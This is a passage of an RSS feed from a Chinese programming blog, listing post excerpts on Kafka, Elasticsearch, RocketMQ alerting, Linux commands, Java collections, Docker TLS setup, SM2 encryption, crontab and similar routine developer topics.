&amp;lt;/configuration&amp;gt; 4.获取SqlSessionFactory对象(类似与JDBC中获取connection连接对象)： public class MybatisUtils { private static SqlSessionFactory sqlSessionFactory; static { try { //使用mybatis第一步，获取SqlSessionFactory对象 String resource = &#34;</description>
    </item>
    <item>
      <title>搭建Kafka集群（ 2.8.0版本）之一</title>
      <link>https://bchobby.github.io/posts/643d76c350970b3517e0e43db3396801/</link>
      <pubDate>Fri, 03 Sep 2021 21:49:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/643d76c350970b3517e0e43db3396801/</guid>
      <description>1、启动zookeeper集群 Kafka最新版本2.8.0可以不依赖zookeeper，但是仍然测试阶段，所以官方不推荐使用，因此还是要使用zookeeper集群。&#xA;[root@node1 ~]# zkServer.sh start ZooKeeper JMX enabled by default Using config: /opt/zookeeper-3.4.10/bin/../conf/zoo.cfg Starting zookeeper ... STARTED [root@node1 ~]# [root@node2 ~]# zkServer.sh start ZooKeeper JMX enabled by default Using config: /opt/zookeeper-3.4.10/bin/../conf/zoo.cfg Starting zookeeper ... STARTED [root@node2 ~]# [root@node3 ~]# zkServer.sh start ZooKeeper JMX enabled by default Using config: /opt/zookeeper-3.4.10/bin/../conf/zoo.cfg Starting zookeeper ... STARTED [root@node3 ~]# 2、下载与上传 http://kafka.apache.org/downloads&#xA;当前最新版本是2.8.0&#xA;此处下载了 kafka_2.12-2.8.0.tgz，2.12是Scala的版本，2.8.0是kafka的版本。&#xA;然后上传到服务器&#xA;[root@node1 opt]# tar -zxvf kafka_2.12-2.8.0.tgz [root@node1 opt]# mv kafka_2.</description>
    </item>
    <item>
      <title>2.2 ElasticSearch分词之分词器API</title>
      <link>https://bchobby.github.io/posts/e664cd5ec49a5d05c7e1ba150079e7e6/</link>
      <pubDate>Fri, 03 Sep 2021 09:33:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e664cd5ec49a5d05c7e1ba150079e7e6/</guid>
      <description>1.简介&#xA;elasticsearch提供了一个测试分词效果的API接口，endpoint是_analyze，其主要有指定analyzer、指定索引中的字段(分词结果与预期不一致时使用)以及自定义分词器三种测试方式。&#xA;2.指定analyzer&#xA;POST /_analyze { &#34;analyzer&#34;: &#34;standard&#34;, &#34;text&#34;: &#34;stephen curry&#34; } analyzer:分词器名称，standard是elasticsearch自带的一个分词器，并且是默认的text:测试文本 { &#34;tokens&#34; : [ { &#34;token&#34; : &#34;stephen&#34;, &#34;start_offset&#34; : 0, &#34;end_offset&#34; : 7, &#34;type&#34; : &#34;&amp;lt;ALPHANUM&amp;gt;&#34;, &#34;position&#34; : 0 }, { &#34;token&#34; : &#34;curry&#34;, &#34;start_offset&#34; : 8, &#34;end_offset&#34; : 13, &#34;type&#34; : &#34;&amp;lt;ALPHANUM&amp;gt;&#34;, &#34;position&#34; : 1 } ] } token:分词结果start_offset:起始偏移end_offset:结束偏移position:分词位置 3.指定索引中的字段&#xA;POST /employee/_analyze { &#34;field&#34;: &#34;name&#34;, &#34;text&#34;: &#34;stephen curry&#34; } { &#34;tokens&#34; : [ { &#34;</description>
    </item>
    <item>
      <title>【RocketMQ】使用Prometheus &#43; AlertManager制作RocketMQ告警</title>
      <link>https://bchobby.github.io/posts/e5e7007ed0eb65737c1a95563fc1ac09/</link>
      <pubDate>Thu, 02 Sep 2021 15:35:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5e7007ed0eb65737c1a95563fc1ac09/</guid>
      <description>文章目录 安装AlertManager编写告警规则文件配置PrometheusWebhook接口 安装AlertManager 下载地址：https://prometheus.io/download/&#xA;解压：&#xA;tar -zxvf alertmanager-0.23.0.linux.amd64.tar.gz 修改alertmanager.yml配置文件，添加webhook&#xA;route: group_wait: 30s group_interval: 5m repeat_interval: 1h receiver: &#39;xadd-rocketmq&#39; receivers: - name: &#39;xadd-rocketmq&#39; webhook_configs: - url: &#39;http://10.201.243.26:2301/rocketmq/api/alerts/webhook&#39; 启动：&#xA;nohup ./alertmanager --config.file=./alertmanager.yml &amp;amp; 访问页面：&#xA;默认端口为9093，可以看到配置已加载成功&#xA;编写告警规则文件 告警规则不是一成不变的，需要根据实际的业务量、机器的配置以及诸多因素进行调整。&#xA;刚开始写的规则，有几个一直报错：vector contains metrics with the same labelset after applying alert labels，原因是表达式查出的结果集里，有一个标签：group和系统自带的重复了，在使用{{$labels.group}}取值的时候就不知道取哪个了，使用label_replace函数替换一下即可，以下是修改后的规则文件：&#xA;rockrtmq-rules.yaml&#xA;groups: - name: rocketmq-rules rules: - alert: high disk ratio warning expr: sum(rocketmq_brokeruntime_commitlog_disk_ratio) by (cluster,brokerIP) * 100 &amp;gt; 60 for: 10m labels: group: xadd-rocketmq severity: warning annotations: message: 集群：{{$labels.</description>
    </item>
    <item>
      <title>RT-Thread Studio 编译的APP程序不跳转的问题</title>
      <link>https://bchobby.github.io/posts/fb4767ae37ec72631abf3f1c97051174/</link>
      <pubDate>Thu, 02 Sep 2021 10:39:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb4767ae37ec72631abf3f1c97051174/</guid>
      <description>RT-Thread Studio 编译的APP程序不跳转的问题&#xA;问题：使用RT-Thread Studio编辑代码，生成APP程序的时候通过，下图设置APP程序地址&#xA;但是下载进去发现APP程序不能跳转，遇到这种情况是没有把中断映射表整对，按照下图所示设置即可。</description>
    </item>
    <item>
      <title>cat命令的基本用法</title>
      <link>https://bchobby.github.io/posts/113967f5d2dabc99ccf358337e8cdcc9/</link>
      <pubDate>Thu, 02 Sep 2021 09:24:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/113967f5d2dabc99ccf358337e8cdcc9/</guid>
      <description>cat 可以查看文本内容&#xA;格式&#xA;cat [OPTION]...[FILE]... 常见选项&#xA;-E：显示行结束符$&#xA;-A：显示所有控制符&#xA;-n：对显示出的每一行进行编号&#xA;-b：非空行编号&#xA;-s：压缩连续的空行成一行&#xA;[root@mikeaq ~]# cat -E /data/aa.txt Linus is a$ great person $ [root@mikeaq ~]# cat /data/aa.txt 1&#x9;2 3&#x9;4 5 [root@mikeaq ~]# cat -A /data/aa.txt 1^I2$ 3^I4$ 5$ [root@mikeaq ~]# cat -n /data/aa.txt 1&#x9;1 2&#x9;3&#x9;2 4&#x9;5&#x9;3 6&#x9;7&#x9;8&#x9;4 9&#x9;[root@mikeaq ~]# cat -b /data/aa.txt 1&#x9;1 2&#x9;2 3&#x9;3 4&#x9;4 [root@mikeaq ~]# cat -ns /data/aa.</description>
    </item>
    <item>
      <title>如何在电脑上安装并编译第一句Python</title>
      <link>https://bchobby.github.io/posts/8173d4cea379a5465250104087d42d31/</link>
      <pubDate>Wed, 01 Sep 2021 23:51:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8173d4cea379a5465250104087d42d31/</guid>
      <description> 1.安装Anaconda&#xA;进入Anaconda官网下载&#xA;下载并安装&#xA;2.验证是否安装成功：&#xA;安装完成之后，从Windows开始菜单，点击 Anaconda Navigator 菜单项。&#xA;Navigator 首页显示了一些应用，其中有Spyder 已经默认安装好了，点击Launch 按钮。Sypder 是Python的一个简单的集成开发环境。&#xA;启动Spyder应用后，在左侧输入输出内容 ，如下所示。&#xA;2、安装PyCharm&#xA;进入PyCharm官网下载安装&#xA;直接点击“Download”即可。Pycharm有两种主要版本：Community和Professional，其中Community可以免费使用，点击Community的Download。 3. 如何用PyCharm写第一个代码&#xA;创建项目&#xA;选择File --&amp;gt; New Project–&amp;gt; Pure Python(在如下箭头位置处点击选择存储位置)–&amp;gt; create。&#xA;然后在New Project窗口，会出现设置项目名称和选择解释器（Interpreter）。&#xA;都设置完成之后，点击Create 安装，真正开始创建项目文件了。&#xA;添加Python File，命名为Hello。&#xA;在文件中，输入代码：print(“Hello World”)。&#xA;然后运行，在下方显示Python 代码的运行结果。&#xA;如何在PyCharm中配置Anaconda的包？&#xA;在PyCharm界面中选择：File-&amp;gt; Settings-&amp;gt; … ，如图中所示。 </description>
    </item>
    <item>
      <title>jupyter合并（拆分）cell单元格</title>
      <link>https://bchobby.github.io/posts/bbab5da978eeb911262298bf05dc4132/</link>
      <pubDate>Wed, 01 Sep 2021 21:22:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbab5da978eeb911262298bf05dc4132/</guid>
      <description>按住shift选中多个cell后，按shift+m可以合并选中的多个cell为一个cell。&#xA;这两个单元格合并之后变成一个。&#xA;合并之后也可以将一个单元格切分成两部分，首先将光标放在想分割的地方，然后按Ctrl+shift+ -&#xA;关于Jupyter Notebook的28个技巧</description>
    </item>
    <item>
      <title>724 寻找数组的中心下标（前缀和）</title>
      <link>https://bchobby.github.io/posts/ee1a7c46df7372699656309c65d074a6/</link>
      <pubDate>Wed, 01 Sep 2021 19:57:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee1a7c46df7372699656309c65d074a6/</guid>
      <description>1. 问题描述：&#xA;给你一个整数数组 nums ，请计算数组的中心下标 。数组中心下标是数组的一个下标，其左侧所有元素相加的和等于右侧所有元素相加的和。如果中心下标位于数组最左端，那么左侧数之和视为 0 ，因为在下标的左侧不存在元素。这一点对于中心下标位于数组最右端同样适用。如果数组有多个中心下标，应该返回 最靠近左边 的那一个。如果数组不存在中心下标，返回 -1 。&#xA;示例 1：&#xA;输入：nums = [1, 7, 3, 6, 5, 6]&#xA;输出：3&#xA;解释：&#xA;中心下标是 3 。&#xA;左侧数之和 sum = nums[0] + nums[1] + nums[2] = 1 + 7 + 3 = 11 ，&#xA;右侧数之和 sum = nums[4] + nums[5] = 5 + 6 = 11 ，二者相等。&#xA;示例 2：&#xA;输入：nums = [1, 2, 3]&#xA;输出：-1&#xA;解释：&#xA;数组中不存在满足此条件的中心下标。&#xA;示例 3：</description>
    </item>
    <item>
      <title>PLSQL登录时报错：No matching authentication protocol</title>
      <link>https://bchobby.github.io/posts/7a0ad9b78ea966281163508f95da1cc1/</link>
      <pubDate>Wed, 01 Sep 2021 18:03:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a0ad9b78ea966281163508f95da1cc1/</guid>
      <description>PLSQL连接Oracle数据库登录时报错 No matching authentication protocol&#xA;我的解决办法:客户端版本问题引起，换个高版本的客户端&#xA;（1） 打开PLSQL 点开【工具】 然后 【首选项】 找到【连接】 （2）解压instantclient_11_2.zip放置到D盘 (instantclient_11_2附件在文档末尾里) （3）更换配置 Oracle 主目录名 和OCI库,点击应用 D:\instantclient_11_2&#xA;D:\instantclient_11_2\oci.dll&#xA;附件为我的文件&#xA;下载链接&#xA;Oracle报错问题.docx</description>
    </item>
    <item>
      <title>ArrayList和LinkedList哪个更占空间？</title>
      <link>https://bchobby.github.io/posts/b7ac9a995c7647f8bb63991e58f6a70f/</link>
      <pubDate>Tue, 31 Aug 2021 13:49:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7ac9a995c7647f8bb63991e58f6a70f/</guid>
      <description>前言 相信在面试的时候可能都会碰到关于ArrayList和Linkedlist相关的面试题。趁此机会也记录一下。&#xA;ArrayList ArrayList是List接口的一个实现类，底层是Object数组，数据放在一个变量里面：&#xA;transient Object[] elementData; 而这个elementData数组使用了一个transient关键字修饰，transient表示的意思是：序列化对象的时候，如果在属性前面加上了该关键字，那么在序列化是就不会将该属性序列化。&#xA;ArrayList初始化时默认数组长度为10，随着我们不断的往list中插入数据，当list大小超过容量时就会进行扩容，每次扩容的大小为之前的1.5倍。可以这么理解，当list已经足够大时，如果刚好插入的数据满足扩容的条件，那么扩容之后的list容量为之前的1.5，于是这个空间已经扩展的很大了。&#xA;由于ArrayList底层是数组，数组我们都知道可以根据索引来定位，相应ArrayList查找性能很快。但是数组我们又知道是一连串的空间组成，于是当我们在中间插入或者删除一个元素时，插入或删除位置之后的元素是不是都要向后移动或向前移动一位，所以插入或者删除都比较消耗性能。最后我们又知道，既然你是在中间插入或删除时后面元素需要移动，那我在最后插入元素是不是很快呢？是的，最后插入由于不需要移动元素，插入的效率很高。总结：ArrayList底层是数组，可以根据索引查找元素，查找效率很高，在数组中间插入或删除元素由于需要移动数据导致效率很低，但是在最后插入元素效率很高。&#xA;Linkedlist Linkedlist底层是双向链表，不需要指定初始容量，链表中任何一个存储单元都可以通过向前或向后的指针获取到前面或后面的存储单元。源码中使用Node来存储数据。&#xA;private static class Node&amp;lt;E&amp;gt; { E item; Node&amp;lt;E&amp;gt; next; Node&amp;lt;E&amp;gt; prev; Node(Node&amp;lt;E&amp;gt; prev, E element, Node&amp;lt;E&amp;gt; next) { this.item = element; this.next = next; this.prev = prev; } } 因为有保存前后节点的地址，LinkedList增删数据的时候不需要像ArrayList那样移动整片的数据，只需要通过引用指定index位置前后的两个节点即可。删除数据只需要改变index位置前后节点的指向地址即可。虽然增删数据很快，但是查询数据效率就比较低，查询数据时，首先会计算下链表总长度的一半，判断对应索引是在该值的左边还是右边，然后决定从头节点还是尾节点开始遍历。所以，Linkedlist增删数据较快，查询数据较慢，并且对内存占用空间也是很大的，因为每个node都维护这前后指向地址的节点。&#xA;谁更占空间？ 表面上看，肯定是Linkedlist更占用空间，但是ArrayList扩容的时候会把之前的容量扩充为1.5倍。你可以试想下，我往ArrayList只想加一个元素，但刚好满足扩容条件，那是不是剩下的空间就浪费了呢。况且ArrayList本身就很大了，扩容1.5倍。。。　所以，如果数据量很大又在实时添加数据的情况下，ArrayList占用的空间不一定会比LinkedList空间小，这样的回答就显得谨慎些了，听上去也更加让人容易认同，但你以为这样回答就完美了吗？还记得我前面说的那个transient变量吗？它的作用已经说了，不想序列化的对象就可以用它来修饰，用transient修饰elementData意味着我不希望elementData数组被序列化。&#xA;为什么要这么做呢？这是因为序列化ArrayList的时候，ArrayList里面的elementData，也就是数组未必是满的，比方说elementData有10的大小，但是我只用了其中的3个，那么是否有必要序列化整个elementData呢？ 显然没有这个必要，因此ArrayList中重写了writeObject方法。&#xA;每次序列化的时候调用这个方法，先调用defaultWriteObject()方法序列化ArrayList中的非transient元素，elementData这个数组对象不去序列化它，而是遍历elementData，只序列化数组里面有数据的元素，这样一来，就可以加快序列化的速度，还能够减少空间的开销。&#xA;最后，一般情况下，LinkedList的占用空间更大，因为每个节点要维护指向前后地址的两个节点，但也不是绝对，如果刚好数据量超过ArrayList默认的临时值时，ArrayList占用的空间也是不小的，因为扩容的原因会浪费将近原来数组一半的容量，不过，因为ArrayList的数组变量是用transient关键字修饰的，如果集合本身需要做序列化操作的话，ArrayList这部分多余的空间不会被序列化。</description>
    </item>
    <item>
      <title>python爬虫报错：不信任证书问题的解决</title>
      <link>https://bchobby.github.io/posts/324cdb1ea273dba88fb62de831f56114/</link>
      <pubDate>Tue, 31 Aug 2021 13:04:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/324cdb1ea273dba88fb62de831f56114/</guid>
      <description>SSLError 请求异常，SSL错误，证书认证失败问题解决 在爬取某些网站时，会发现如下报错：&#xA;#请求脚本 from lxml import etree import os import requests headers = { &#34;user-agent&#34;:&#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36&#34;, } url = &#39;https://www.ygdy8.net/index.html&#39; response = requests.get(url, headers=headers) content = response.content.decode(&#39;gbk&#39;) #报错信息 SSLError: (&#34;bad handshake: Error([(&#39;SSL routines&#39;, &#39;ssl3_get_server_certificate&#39;, &#39;certificate verify failed&#39;)],)&#34;,) 解决方式： 第一种解决方式：&#xA;将https请求改为http请求，或许可能成功解决&#xA;from lxml import etree import os import requests headers = { &#34;user-agent&#34;:&#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.</description>
    </item>
    <item>
      <title>james-server-app-3.6.0 Windows</title>
      <link>https://bchobby.github.io/posts/650143332890de996bae342f30dff985/</link>
      <pubDate>Tue, 31 Aug 2021 11:21:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/650143332890de996bae342f30dff985/</guid>
      <description>Install&#xA;D:\Apache-James-Server\james-server-app-3.6.0\bin\wrapper-windows-x86-64.exe -i D:\Apache-James-Server\james-server-app-3.6.0\conf\wrapper.conf&#xA;Remove&#xA;D:\Apache-James-Server\james-server-app-3.6.0\bin\wrapper-windows-x86-64.exe -r D:\Apache-James-Server\james-server-app-3.6.0\conf\wrapper.conf&#xA;Configations&#xA;D:\Apache-James-Server\james-server-app-3.6.0\conf&#xA;-------------------wrapper.conf------------------&#xA;set.default.REPO_DIR=../lib&#xA;set.APP_BASE=.&#xA;set.TMP=D:/Apache-James-Server/james-server-app-3.6.0/temp&#xA;wrapper.console.loglevel=ERROR&#xA;wrapper.java.maxmemory=2048&#xA;wrapper.logfile.loglevel=ERROR&#xA;-----------------smtpserver.xml---------------------&#xA;&amp;lt;bind&amp;gt;0.0.0.0:25&amp;lt;/bind&amp;gt;&#xA;&amp;lt;authorizedAddresses&amp;gt;*&amp;lt;/authorizedAddresses&amp;gt;&#xA;&amp;lt;maxmessagesize&amp;gt;0&amp;lt;/maxmessagesize&amp;gt;&#xA;----------------log4j2.xml-----------------------&#xA;&amp;lt;Property name=&#34;logDir&#34;&amp;gt;D:\Apache-James-Server\james-server-app-3.6.0\log&amp;lt;/Property&amp;gt;&#xA;&amp;lt;AppenderRef ref=&#34;Console&#34; level=&#34;ERROR&#34; /&amp;gt;&#xA;&amp;lt;AppenderRef ref=&#34;James&#34; level=&#34;ERROR&#34; /&amp;gt;&#xA;-------------------pop3server.xml------------------&#xA;&amp;lt;bind&amp;gt;0.0.0.0:110&amp;lt;/bind&amp;gt;&#xA;&amp;lt;connectiontimeout&amp;gt;1200&amp;lt;/connectiontimeout&amp;gt;&#xA;------------------domainlist.xml-----------------&#xA;&amp;lt;defaultDomain&amp;gt;testserver.com&amp;lt;/defaultDomain&amp;gt;&#xA;Add users&#xA;james-cli.bat -h 127.0.0.1 -p 9999 ListUsers&#xA;james-cli.bat -h 127.0.0.1 -p 9999 AddUser Test@testserver.com 1</description>
    </item>
    <item>
      <title>初学SpringJdbcTemplate报错记录一 type ‘java.sql.Driver‘ for property ‘driver‘: no</title>
      <link>https://bchobby.github.io/posts/7312fb36ba962d503be85edde33002c0/</link>
      <pubDate>Tue, 31 Aug 2021 03:08:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7312fb36ba962d503be85edde33002c0/</guid>
      <description>警告: Exception encountered during context initialization - cancelling refresh attempt: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name &#39;userDaoImpl&#39;: Unsatisfied dependency expressed through field &#39;jdbcTemplate&#39;; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name &#39;jdbc&#39; defined in class path resource [spring-config.xml]: Cannot resolve reference to bean &#39;dataSource&#39; while setting bean property &#39;dataSource&#39;; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name &#39;dataSource&#39; defined in class path resource [spring-config.xml]: Initialization of bean failed; nested exception is org.</description>
    </item>
    <item>
      <title>SU处理野外地震数据常用命令</title>
      <link>https://bchobby.github.io/posts/d3f27d6104a20135f77d4326ccc406a0/</link>
      <pubDate>Mon, 30 Aug 2021 20:15:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3f27d6104a20135f77d4326ccc406a0/</guid>
      <description>1 数据格式转换 segy2su: segyread tape=filepath/input.segy &amp;gt; output.su su2bin: sustrip &amp;lt; input.su &amp;gt; output.bin 2 道头字查看 查看所有道头字 ：sukeyword 查看某个道头字范围 ：surange &amp;lt; input.su key=sx,gx,... 逐道查看道头字 ：suedit &amp;lt; input.su key=sx,gx,... | more 3 观测系统输出及编辑 观测系统输出到屏幕 sugethw &amp;lt; input.su key=tracl,tracr,sx,sy,gx,gy,ns | more 观测系统输出到文件 sugethw &amp;lt; input.su key=tracl,tracr,sx,sy,gx,gy,ns output=geom &amp;gt; geometry.txt sugethw &amp;lt; input.su key=tracl,tracr,sx,sy,gx,gy,ns &amp;gt; geometry.txt 关键道头字设置 sushw &amp;lt; input.su key=key1,key2 a=a1,a2 b=b1,b2 c=c1,c2 d=d1,d2 j= &amp;gt; output.su a:起始值（第一道的值） b:道间隔 c:炮间隔 d:道偏移量 j:每炮道数 i=itr+d (itr道号，起始值为0而不是1) val(key)= a + b*(i%j) + c*(i/j) %取余 /取整 关键道头字改变/计算 suchw &amp;lt; input.</description>
    </item>
    <item>
      <title>Target class [控制器] does not exist.</title>
      <link>https://bchobby.github.io/posts/199e41a4bf2dfa570a90d2d8bcd89161/</link>
      <pubDate>Mon, 30 Aug 2021 14:11:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/199e41a4bf2dfa570a90d2d8bcd89161/</guid>
      <description>今天新建了一个laravel的项目&#xA;我也是第一次碰见这个错,一开始还以为自己的原因&#xA;解决如下&#xA;找到Providers目录&#xA;protected $namespace = ‘App\Http\Controllers’;&#xA;注释打开完美解决问题## 标题## Target class [控制器] does not exist.</description>
    </item>
    <item>
      <title>基于STM32跑RT-Thread系统，bootload跳转到APP无法启动的问题</title>
      <link>https://bchobby.github.io/posts/cb96e27a66c03354b39dda5b9de5cb80/</link>
      <pubDate>Sun, 29 Aug 2021 23:05:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb96e27a66c03354b39dda5b9de5cb80/</guid>
      <description>如题，无法启动的原因已经找到了，是中断向量表偏移没有在没有在合适的地方设置。&#xA;正常来说中断向量表偏移在STM32的启动文件的系统时钟初始化：“SystemInit()”函数中有做设置，如图：&#xA;所以我的中断向量表设置就这样的：&#xA;但是不管怎么样RT-Thread无法跑起来。debug发现bootload是没问题的；注释掉我的向量表偏移设置，把keil5的flash起始地址设置改回0x8000000，APP程序也是可以跑起来的。那到底是什么原因的？&#xA;不断调试发现bootload跳转到APP后，在APP的启动文件无法跳转RT-Thread的“$Sub$$main()”函数，后来我把APP启动文件的我自己的中断向量表设置注释掉，把中断向量表设置放在了&#34;rt_hw_board_init()&#34;函数的开头，然后就成功了，如图：&#xA;为什么会这样呢？项目急没有深究。。。感兴趣的朋友可以去深究一下为什么，也告诉我一下呗。&#xA;解决问题总结：&#xA;1、不要在STM32的启动文件的系统时钟初始化：“SystemInit()”函数中设置中断向量表。&#xA;2、在RT-Thread源文件的board.c里的&#34;rt_hw_board_init()&#34;函数开头设置自己的中断向量表。</description>
    </item>
    <item>
      <title>springboot docker应用发布</title>
      <link>https://bchobby.github.io/posts/16572df0298cdbd112e88fe912e19f46/</link>
      <pubDate>Sun, 29 Aug 2021 16:55:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16572df0298cdbd112e88fe912e19f46/</guid>
      <description>springboot docker应用发布 idea docker 官网：https://www.jetbrains.com/help/idea/docker.html&#xA;说明：idea docker插件默认已经安装（file ==&amp;gt; settings ==&amp;gt; plugins）&#xA;************************ docker 远程连接&#xA;2375：非认证端口，不安全&#xA;2376：认证端口，需使用ca证书&#xA;制作 ca 证书：https://docs.docker.com/engine/security/protect-access/&#xA;country=cn state=zj city=hz orginazation=ali department=dev host=****** emailAddress=123456@qq.com openssl genrsa -aes256 -passout pass:123456 -out ca-key.pem 4096 openssl req -new -x509 -passin &#34;pass:123456&#34; -days 365 -key ca-key.pem -sha256 -out ca.pem -subj &#34;/C=$country/ST=$state/L=$city/O=$orginazation/OU=$department/CN=$host/emailAddress=$emailAddress&#34; openssl genrsa -out server-key.pem 4096 openssl req -subj &#34;/CN=$host&#34; -sha256 -new -key server-key.pem -out server.csr echo subjectAltName = IP:$host,IP:0.0.0.0 &amp;gt;&amp;gt; extfile.</description>
    </item>
    <item>
      <title>结合Hutool实现SM2算法文件加解密 &amp; 签名验签</title>
      <link>https://bchobby.github.io/posts/f3ecd01a5c9050b8b5d0040ab63752c2/</link>
      <pubDate>Sun, 29 Aug 2021 15:54:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3ecd01a5c9050b8b5d0040ab63752c2/</guid>
      <description>结合Hutool实现文件加解密 &amp;amp; 签名验签 欢迎浏览本文章0 . 背景0.1 SM2 算法背景0.2 本文背景1 . 依赖引入2 .创建秘钥对象3 .核心：工具类4 .其他辅助类 欢迎浏览本文章 该文属于个人经验分享类，结合csdn多篇文章整合重制而成，可能存在不足和缺点，欢迎提出指导&amp;amp;意见。&#xA;0 . 背景 业务中涉及SM2算法，特抽象出为工具类。&#xA;0.1 SM2 算法背景 SM2密码算法是一种椭圆(非对称)密码算法，具有以下重要特性：&#xA;加密强度：256位（私钥长度）；公私钥长度：公钥长度为64字节(512位)，私钥32字节（256位）；支持签名最大数据量及签名结果长度：最大签名数据量长度无限制；签名结果为64字节（但由于签名后会做ASN.1编码，实际输出长度为70-72字节）；支持加密最大数据量及加密后结果长度：支持最大近128G字节数据长度；加密结果(C=C1C3C2)增加96字节【C1(64字节) + C3(32字节)】(如果首个字节为0x04则增加97字节，实际有效96字节)。 0.2 本文背景 本文并非100%原创，只是做了必要的封装，提供给同样需求的朋友。参考了以下文章，在此衷心感谢他们的研究和分享：&#xA;【SM2 SM3 SM4简介】https://blog.csdn.net/cqwei1987/article/details/107329600；【国密算法—SM2介绍及基于BC的实现】https://blog.csdn.net/zcmain/article/details/114099664；【hutool国密sm2算法使用， 正确的秘钥生成签名及验签，签名为64字节】https://blog.csdn.net/qq_33140565/article/details/113818235；【国密SM2算法加解密文件】https://blog.csdn.net/A_Lonely_Smile/article/details/118366945 1 . 依赖引入 &amp;lt;!--开始-国密SM2 算法依赖：bouncycastle &amp;amp; hutool --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.bouncycastle&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;bcprov-jdk15to18&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.66&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;cn.hutool&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hutool-all&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.3.10&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--结束-国密SM2 算法依赖：bouncycastle &amp;amp; hutool --&amp;gt; 2 .创建秘钥对象 import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.experimental.Accessors; /** * SM2 国密算法生成秘钥对 - 对象 */ @Data @Accessors(chain = true) @ApiModel(value = &#34;</description>
    </item>
    <item>
      <title>crontab 定时任务</title>
      <link>https://bchobby.github.io/posts/c201f58264d02149b2e4415df8896b70/</link>
      <pubDate>Sat, 28 Aug 2021 12:00:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c201f58264d02149b2e4415df8896b70/</guid>
      <description>一、crond简介 crond 是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程，与windows下的计划任务类似，当安装完成操作系统后，默认会安装此服务 工具，并且会自动启动crond进程，crond进程每分钟会定期检查是否有要执行的任务，如果有要执行的任务，则自动执行该任务。&#xA;Linux下的任务调度分为两类，系统任务调度和用户任务调度。&#xA;系统任务调度：系统周期性所要执行的工作，比如写缓存数据到硬盘、日志清理等。在/etc目录下有一个crontab文件，这个就是系统任务调度的配置文件。&#xA;/etc/crontab文件包括下面几行：&#xA;cat /etc/crontab SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=HOME=/ # run-parts 51 * * * * root run-parts /etc/cron.hourly 24 7 * * * root run-parts /etc/cron.daily 22 4 * * 0 root run-parts /etc/cron.weekly 42 4 1 * * root run-parts /etc/cron.monthly 前四行是用来配置crond任务运行的环境变量&#xA;第一行SHELL变量指定了系统要使用哪个shell，这里是bash&#xA;第二行PATH变量指定了系统执行命令的路径&#xA;第三行MAILTO变量指定了crond的任务执行信息将通过电子邮件发送给root用户，如果MAILTO变量的值为空，则表示不发送任务 执行信息给用户&#xA;第四行的HOME变量指定了在执行命令或者脚本时使用的主目录。&#xA;第六至九行表示定时执行的任务。&#xA;使用者权限文件： 文件：/etc/cron.deny&#xA;说明：该文件中所列用户不允许使用crontab命令&#xA;文件：/etc/cron.allow&#xA;说明：该文件中所列用户允许使用crontab命令&#xA;文件：/var/spool/cron/&#xA;说明：所有用户crontab文件存放的目录，以用户名命名&#xA;crontab文件的含义： 用户所建立的crontab文件中，每一行都代表一项任务，每行的每个字段代表一项设置，它的格式共分为六个字段，前五段是时间设定段，第六段是要执行的命令段，格式如下：&#xA;minute hour day month week command&#xA;其中：</description>
    </item>
    <item>
      <title>一款非常好用且专业的免费万兴数据恢复软件</title>
      <link>https://bchobby.github.io/posts/e8436ba758c55901f2a9c7ef222bffd6/</link>
      <pubDate>Sat, 28 Aug 2021 10:26:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8436ba758c55901f2a9c7ef222bffd6/</guid>
